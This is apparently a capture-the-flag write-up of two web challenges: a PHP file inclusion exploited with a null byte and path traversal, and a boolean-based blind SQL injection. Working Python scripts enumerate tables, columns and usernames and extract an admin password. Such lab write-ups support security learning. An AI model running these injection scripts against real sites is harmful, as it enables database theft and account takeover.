Bite [Web]
The challenge shows the following webpage:

The only feature that seems available are some articles. If we take a look of how it gets treated it adds a GET parameter and the name of the article:

Then tried adding the flag page which is not listed but may exist and got the following:

The backend is executing something similar to:
1
2
3
|
<?php
include("includes/".$_GET['param1'].".php");
?>
|
Then added a NULL Byte (%00) and tried with some traversal paths until got the flag:

Waffle Land [Web]
We got hacked, but our waffles are now safe after we mitigated the vulnerability.
The challenge shows the following webpage:

Looking for SQL Injection found one in the search bar. Here I’m making the query TRUE
with ' AND 1=1 -- -
:

On the other side here there is a query making it FALSE
with ' AND 1=2 -- -
. Hence not showing any product:

So created a script to enumerate the database blindly boolean based. Started by checking what is the length of the response when the query is TRUE
and when is FALSE
:
1
2
3
|
url = "http://jh2i.com:50024/"
min_size = len(requests.get(url, params={'search': """' AND 1=2 -- -"""}).content)
max_size = len(requests.get(url, params={'search': """' AND 1=1 -- -"""}).content)
|
Then created a small function to check if a query was successful or not:
1
2
3
4
5
6
7
8
|
def check_query(query):
query_size = len(requests.get(url, params={'search': f"""' {query} -- -"""}).content)
if query_size == max_size:
return True
elif query_size == min_size:
return False
else:
return None
|
Using check_query()
enumerated the tables of the DB:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
def get_tables():
tables = []
partial_tables = []
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 1 == (SELECT count(*) FROM sqlite_master WHERE type='table' AND name LIKE "{char}%")"""):
partial_tables.append(char)
while partial_tables:
current_name = partial_tables.pop()
match = False
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 1 == (SELECT count(*) FROM sqlite_master WHERE type='table' AND name LIKE "{current_name + char}%")"""):
partial_tables.append(current_name + char)
match = True
if(not match):
tables.append(current_name)
return tables
# ['user', 'product']
|
After that enumerated the column fields in those two tables:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
def get_columns(table):
partial_field = []
fields = []
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 0 < (SELECT count(*) FROM PRAGMA_TABLE_INFO("{table}") WHERE name LIKE "{char}%" )"""):
partial_field.append(char)
while partial_field:
current_name = partial_field.pop()
match = False
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 0 < (SELECT count(*) FROM PRAGMA_TABLE_INFO("{table}") WHERE name LIKE "{current_name + char}%" )"""):
partial_field.append(current_name + char)
match = True
if(not match):
fields.append(current_name)
return fields
# user = ['username', 'password', 'id']
# product = ['prize', 'name', 'image', 'id', 'description']
|
As all product fields are being shown thought that wouldn’t be interesting. Instead enumerated the usernames:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def get_users():
partial_username = []
usernames = []
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 0 < (SELECT count(*) FROM user WHERE username LIKE "{char}%")"""):
partial_username.append(char)
while partial_username:
current_name = partial_username.pop()
match = False
for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
if check_query(f"""AND 0 < (SELECT count(*) FROM user WHERE username LIKE "{current_name + char}%")"""):
partial_username.append(current_name + char)
print(partial_username)
match = True
if(not match):
usernames.append(current_name)
print(usernames)
return usernames
# ['admin']
|
There is only one user called admin so got the password. This time instead of using LIKE
(which is case insensitive) had to use SUBSTR()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
def get_password(user):
password = ""
i = 1
while True:
for char in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~':
if check_query(f"""AND "{char}" = SUBSTR((SELECT password FROM user WHERE username = "admin"),{i},1)"""):
password += char
break
i = i + 1
if len(password) + 1 < i:
break
return password
# NT7b#ed4$J?eZ#m_
|
Finally logged in with the admin credentials:
